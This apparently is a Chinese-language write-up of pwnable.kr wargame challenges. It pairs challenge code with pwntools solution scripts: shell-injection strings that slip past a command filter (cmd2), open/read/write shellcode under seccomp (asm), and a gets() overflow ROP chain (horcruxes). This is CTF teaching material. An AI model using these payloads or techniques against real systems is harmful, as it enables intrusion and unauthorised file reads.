	setregid(getegid(), getegid());
	system( argv[1] );
	return 0;
}

参考https://chybeta.github.io/2017/08/15/命令执行的一些绕过技巧/,本题目存在多种解法。

method1

cd /;/home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)f\*'

method2:

./cmd2 '$(printf \\057)bin$(printf \\057)cat f\*'

最终解决方案如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

# xxxx 为cmd1的flag,请解决完cmd1,自行替换密码。
shell = ssh(host='pwnable.kr', user='cmd2', port=2222, password='xxxx')

# https://chybeta.github.io/2017/08/15/命令执行的一些绕过技巧/
#
# method1: cd /;/home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)f*'
# method2: ./cmd2 '$(printf \\057)bin$(printf \\057)cat f*'
proc = shell.process(['./cmd2', '$(printf \\\\057)bin$(printf \\\\057)cat f*'])
proc.recvline()
flag = proc.recvline().decode()
log.info(f"flag: {flag}")

1-14 memcpy

该题主要考察intel高级指令用法,先看目标源码memcpy.c。

// gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>

unsigned long long rdtsc(){
        asm("rdtsc");
}

char* slow_memcpy(char* dest, const char* src, size_t len){
	int i;
	for (i=0; i<len; i++) {
		dest[i] = src[i];
	}
	return dest;
}

char* fast_memcpy(char* dest, const char* src, size_t len){
	size_t i;
	// 64-byte block fast copy
	if(len >= 64){
		i = len / 64;
		len &= (64-1);
		while(i-- > 0){
			__asm__ __volatile__ (
			"movdqa (%0), %%xmm0\n"
			"movdqa 16(%0), %%xmm1\n"
			"movdqa 32(%0), %%xmm2\n"
			"movdqa 48(%0), %%xmm3\n"
			"movntps %%xmm0, (%1)\n"
			"movntps %%xmm1, 16(%1)\n"
			"movntps %%xmm2, 32(%1)\n"
			"movntps %%xmm3, 48(%1)\n"
			::"r"(src),"r"(dest):"memory");
			dest += 64;
			src += 64;
		}
	}

	// byte-to-byte slow copy
	if(len) slow_memcpy(dest, src, len);
	return dest;
}

int main(void){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Hey, I have a boring assignment for CS class.. :(\n");
	printf("The assignment is simple.\n");

	printf("-----------------------------------------------------\n");
	printf("- What is the best implementation of memcpy?        -\n");
	printf("- 1. implement your own slow/fast version of memcpy -\n");
	printf("- 2. compare them with various size of data         -\n");
	printf("- 3. conclude your experiment and submit report     -\n");
	printf("-----------------------------------------------------\n");

	printf("This time, just help me out with my experiment and get flag\n");
	printf("No fancy hacking, I promise :D\n");

	unsigned long long t1, t2;
	int e;
	char* src;
	char* dest;
	unsigned int low, high;
	unsigned int size;
	// allocate memory
	char* cache1 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	char* cache2 = mmap(0, 0x4000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	src = mmap(0, 0x2000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

	size_t sizes[10];
	int i=0;

	// setup experiment parameters
	for(e=4; e<14; e++){	// 2^13 = 8K
		low = pow(2,e-1);
		high = pow(2,e);
		printf("specify the memcpy amount between %d ~ %d : ", low, high);
		scanf("%d", &size);
		if( size < low || size > high ){
			printf("don't mess with the experiment.\n");
			exit(0);
		}
		sizes[i++] = size;
	}

	sleep(1);
	printf("ok, lets run the experiment with your configuration\n");
	sleep(1);

	// run experiment
	for(i=0; i<10; i++){
		size = sizes[i];
		printf("experiment %d : memcpy with buffer size %d\n", i+1, size);
		dest = malloc( size );

		memcpy(cache1, cache2, 0x4000);		// to eliminate cache effect
		t1 = rdtsc();
		slow_memcpy(dest, src, size);		// byte-to-byte memcpy
		t2 = rdtsc();
		printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);

		memcpy(cache1, cache2, 0x4000);		// to eliminate cache effect
		t1 = rdtsc();
		fast_memcpy(dest, src, size);		// block-to-block memcpy
		t2 = rdtsc();
		printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
		printf("\n");
	}

	printf("thanks for helping my experiment!\n");
	printf("flag : [erased here. get it from server]\n");
	return 0;
}

可以看出来movntps指令需要16字节对齐。最终解决方案如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'

chunk_header = 4
conn = remote('pwnable.kr', 9022)
for i in range(3, 13):
    conn.recvuntil(b' : ')
    n = 2 ** (i + 1) - chunk_header
    conn.sendline(str(n).encode())
conn.recvuntil(b'experiment!\n')
flag = conn.recvline().decode().strip()
log.info(f"{flag}")

1-15 asm

该是shellcode的入门题目,先看目标源码asm.c。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
	if (ctx == NULL) {
		printf("seccomp error\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

	if (seccomp_load(ctx) < 0){
		seccomp_release(ctx);
		printf("seccomp error\n");
		exit(0);
	}
	seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Welcome to shellcoding practice challenge.\n");
	printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
	printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
	printf("If this does not challenge you. you should play 'asg' challenge :)\n");

	char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
	memset(sh, 0x90, 0x1000);
	memcpy(sh, stub, strlen(stub));

	int offset = sizeof(stub);
	printf("give me your x64 shellcode: ");
	read(0, sh+offset, 1000);

	alarm(10);
	chroot("/home/asm_pwn");	// you are in chroot jail. so you can't use symlink in /tmp
	sandbox();
	((void (*)(void))sh)();
	return 0;
}

明显该题目使用seccomp限制了系统调用的数量,采用orw技术轻易解决。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

shell = ssh(host='pwnable.kr', user='asm', port=2222, password='guest')

filename = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'


proc = shell.process(["nc", "0", "9026"])
proc.recvuntil(b'shellcode: ')

# https://docs.pwntools.com/en/stable/shellcraft.html
shellcode = shellcraft.open(filename)
shellcode += shellcraft.read('rax', 'rsp', 32)
shellcode += shellcraft.write(1, 'rsp', 32)

proc.sendline(asm(shellcode))
flag = proc.recvline().decode().strip()
log.success(f"flag: {flag}")

1-16 horcruxes

该题目未提供源码,但是不影响解决题目进度。先看反编译内容

🔖080413fb    int32_t main(int32_t argc, char** argv, char** envp)
int32_t* var_10  {Frame offset -10}
void* const __return_addr_1  {Frame offset -4}
void* const __return_addr  {Frame offset 0}
int32_t argc  {Frame offset 4}
char** argv  {Frame offset 8}
char** envp  {Frame offset c}
int32_t eax_2  {Register eax}
080413fb    {
080413fb        void* const __return_addr_1 = __return_addr;
08041409        int32_t* var_10 = &argc;
08041427        setvbuf(*(uint32_t*)stdout, nullptr, 2, 0);
0804143e        setvbuf(*(uint32_t*)stdin, nullptr, 2, 0);
0804144b        alarm(0x3c);
08041453        hint();
08041458        init_ABCDEFG();
08041462        int32_t eax_2 = seccomp_init(0);
0804147c        seccomp_rule_add(eax_2, 0x7fff0000, 0xad, 0);
08041490        seccomp_rule_add(eax_2, 0x7fff0000, 5, 0);
080414a7        seccomp_rule_add(eax_2, 0x7fff0000, 0x127, 0);
080414bb        seccomp_rule_add(eax_2, 0x7fff0000, 3, 0);
080414cf        seccomp_rule_add(eax_2, 0x7fff0000, 4, 0);
080414e6        seccomp_rule_add(eax_2, 0x7fff0000, 0xfc, 0);
080414f4        seccomp_load(eax_2);
080414fc        ropme();
0804150a        return 0;
080413fb    }

08041866    int32_t hint()
08041866    {
08041866        puts("Voldemort concealed his splitted soul inside 7 horcruxes.");
080418a1        return puts("Find all horcruxes, and destroy it!\n");
08041866    }

🔖08041698    uint32_t init_ABCDEFG()
uint32_t seed  {Frame offset -14}
int32_t fd  {Register eax}
int32_t first_ge_0xcafebabe  {Register eax}
int32_t second_ge_0xcafebabe  {Register eax}
int32_t third_ge_0xcafebabe  {Register eax}
int32_t fourth_ge_0xcafebabe  {Register eax}
int32_t fifth_ge_0xcafebabe  {Register eax}
int32_t sixth_ge_0xcafebabe  {Register eax}
int32_t seventh_ge_0xcafebabe  {Register eax}
uint32_t result  {Register eax}
int32_t first_num  {Register edx}
int32_t second_num  {Register edx}
int32_t third_num  {Register edx}
int32_t fourth_num  {Register edx}
int32_t fifth_num  {Register edx}
int32_t sixth_num  {Register edx}
int32_t seventh_num  {Register edx}
08041698    {
08041698        int32_t fd = open("/dev/urandom", 0);
080416d8        uint32_t seed;
080416d8
080416d8        if (read(fd, &seed, 4) != 4)
080416d8        {
080416fc            puts("/dev/urandom error");
080416f1            exit(0);
080416f1            /* no return */
080416d8        }
080416d8
080416fc        close(fd);
0804170b        srand(seed);
08041718        int32_t first_num = rand() * 0xdeadbeef;
08041724        int32_t first_ge_0xcafebabe;
08041724        (uint8_t)first_ge_0xcafebabe = first_num >= 0xcafebabe;
08041734        a = first_num - (uint32_t)(uint8_t)first_ge_0xcafebabe * 0xcafebabe;
0804173f        int32_t second_num = rand() * 0xdeadbeef;
0804174b        int32_t second_ge_0xcafebabe;
0804174b        (uint8_t)second_ge_0xcafebabe = second_num >= 0xcafebabe;
0804175b        b = second_num - (uint32_t)(uint8_t)second_ge_0xcafebabe * 0xcafebabe;
08041766        int32_t third_num = rand() * 0xdeadbeef;
08041772        int32_t third_ge_0xcafebabe;
08041772        (uint8_t)third_ge_0xcafebabe = third_num >= 0xcafebabe;
08041782        c = third_num - (uint32_t)(uint8_t)third_ge_0xcafebabe * 0xcafebabe;
0804178d        int32_t fourth_num = rand() * 0xdeadbeef;
08041799        int32_t fourth_ge_0xcafebabe;
08041799        (uint8_t)fourth_ge_0xcafebabe = fourth_num >= 0xcafebabe;
080417a9        d = fourth_num - (uint32_t)(uint8_t)fourth_ge_0xcafebabe * 0xcafebabe;
080417b4        int32_t fifth_num = rand() * 0xdeadbeef;
080417c0        int32_t fifth_ge_0xcafebabe;
080417c0        (uint8_t)fifth_ge_0xcafebabe = fifth_num >= 0xcafebabe;
080417d0        e = fifth_num - (uint32_t)(uint8_t)fifth_ge_0xcafebabe * 0xcafebabe;
080417db        int32_t sixth_num = rand() * 0xdeadbeef;
080417e7        int32_t sixth_ge_0xcafebabe;
080417e7        (uint8_t)sixth_ge_0xcafebabe = sixth_num >= 0xcafebabe;
080417f7        f = sixth_num - (uint32_t)(uint8_t)sixth_ge_0xcafebabe * 0xcafebabe;
08041802        int32_t seventh_num = rand() * 0xdeadbeef;
0804180e        int32_t seventh_ge_0xcafebabe;
0804180e        (uint8_t)seventh_ge_0xcafebabe = seventh_num >= 0xcafebabe;
0804181e        g = seventh_num - (uint32_t)(uint8_t)seventh_ge_0xcafebabe * 0xcafebabe;
08041858        uint32_t result = g + a + b + c + d + e + f;
0804185a        sum = result;
08041865        return result;
08041698    }

🔖0804150b    int32_t ropme()
void buf  {Frame offset -78}
int32_t choice  {Frame offset -14}
int32_t fd  {Register eax}
0804150b    {
0804150b        printf("Select Menu:");
0804153d        int32_t choice;
0804153d        __isoc99_scanf("%d", &choice);
08041545        getchar();
08041545
08041555        if (choice == a)
08041557            A();
08041555        else if (choice == b)
0804156e            B();
0804156c        else if (choice == c)
08041585            C();
08041583        else if (choice == d)
0804159c            D();
0804159a        else if (choice == e)
080415b3            E();
080415b1        else if (choice == f)
080415ca            F();
080415c8        else if (choice != g)
080415df        {
080415f5            printf("How many EXP did you earned? : ");
08041604            void buf;
08041604            gets(&buf);
08041604
08041623            if (atoi(&buf) == sum)
08041623            {
08041631                int32_t fd = open("/home/horcruxes_pwn/flag", 0);
08041650                *(uint8_t*)(&buf + read(fd, &buf, 0x64)) = 0;
0804165c                puts(&buf);
0804166a                close(fd);
08041677                exit(0);
08041677                /* no return */
08041623            }
08041623
08041686            puts("You'd better get more experience to kill Voldemort");
080415df        }
080415df        else
080415e1            G();
080415e1
08041697        return 0;
0804150b    }

0804129d    int32_t A()
0804129d    {
0804129d        return printf("You found "Tom Riddle's Diary" (EXP +%d)\n", a);
0804129d    }


080412cf    int32_t B()
080412cf    {
080412cf        return printf("You found "Marvolo Gaunt's Ring" (EXP +%d)\n", b);
080412cf    }


08041301    int32_t C()
08041301    {
08041301        return printf("You found "Helga Hufflepuff's Cup" (EXP +%d)\n", c);
08041301    }


08041333    int32_t D()
08041333    {
08041333        return printf("You found "Salazar Slytherin's Locket" (EXP +%d)\n", d);
08041333    }


08041365    int32_t E()
08041365    {
08041365        return printf("You found "Rowena Ravenclaw's Diadem" (EXP +%d)\n", e);
08041365    }


08041397    int32_t F()
08041397    {
08041397        return printf("You found "Nagini the Snake" (EXP +%d)\n", f);
08041397    }


080413c9    int32_t G()
080413c9    {
080413c9        return printf("You found "Harry Potter" (EXP +%d)\n", g);
080413c9    }

最终解决方案如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import c_int

context.arch = 'i386'
context.log_level = 'debug'

shell = ssh(host='pwnable.kr', user='horcruxes', port=2222, password='guest')

# (.venv) ➜  horcruxes git:(master) ✗ ROPgadget --badbytes "0a" --only "pop|ret" --binary horcruxes
# Gadgets information
# ============================================================
# 0x08041022 : pop ebx ; ret
# 0x0804100e : ret
# 0x080411f6 : ret 0x2d9b
# 0x080411b6 : ret 0x2ddb
# 0x08041831 : ret 0x838b
# 0x08041554 : ret 0xa75
#
# Unique gadgets found: 6

proc = shell.process(["nc", "0", "9032"])

# 0804150b  int32_t ropme()
#
# void buf  {Frame offset -78}
# int32_t choice  {Frame offset -14}
# int32_t fd  {Register eax}
#
# 0804150b  {
# 08041527      printf("Select Menu:");
# 0804153d      int32_t choice;
# 0804153d      __isoc99_scanf(&data_8042151, &choice);
# 08041545      getchar();
# 08041545
# 08041555      if (choice == a)
# 08041557          A();
# 08041555      else if (choice == b)
# 0804156e          B();
# 0804156c      else if (choice == c)
# 08041585          C();
# 08041583      else if (choice == d)
# 0804159c          D();
# 0804159a      else if (choice == e)
# 080415b3          E();
# 080415b1      else if (choice == f)
# 080415ca          F();
# 080415c8      else if (choice != g)
# 080415df      {
# 080415f5          printf("How many EXP did you earned? : ");
# 08041604          void buf;
# 08041604          gets(&buf);
# 08041604
# 08041623          if (atoi(&buf) == sum)
# 08041623          {
# 08041631              int32_t fd = open("/home/horcruxes_pwn/flag", 0);
# 08041650              *(uint8_t*)(&buf + read(fd, &buf, 0x64)) = 0;
# 0804165c              puts(&buf);
# 0804166a              close(fd);
# 08041677              exit(0);
# 08041677              /* no return */
# 08041623          }
# 08041623
# 08041686          puts("You'd better get more experience…");
# 080415df      }
# 080415df      else
# 080415e1          G();
# 080415e1
# 08041697      return 0;
# 0804150b  }
padding = b'A' * 0x78
# 0804129d  int32_t A()
A = 0x0804129d
# 080412cf  int32_t B()
B = 0x080412cf
# 08041301  int32_t C()
C = 0x08041301
# 08041333  int32_t D()
D = 0x08041333
# 08041365  int32_t E()
E = 0x08041365
# 08041397  int32_t F()
F = 0x08041397
# 080413c9  int32_t G()
G = 0x080413c9
# 0804150b  int32_t ropme()
ropme = 0x0804150b
stage1 = flat(padding, A, B, C, D, E, F, G, ropme,endianness='little', word_size=32, sign=False)

proc.recvuntil(b'Select Menu:')
proc.sendline(b'1')
proc.recvuntil(b'How many EXP did you earned? :')
proc.sendline(stage1)

sum = 0
for i in range(7):
    proc.recvuntil('EXP +')
    sum += int(proc.recvline()[:-2])

sum = c_int(sum).value
proc.recvuntil(b'Select Menu:')
proc.sendline(b'1')
proc.recvuntil(b'How many EXP did you earned? :')
proc.sendline(str(sum).encode())
flag = proc.recvline().decode().strip()
log.success(f"flag: {flag}")

参考

https://pwnable.kr

文档信息

Search

    Table of Contents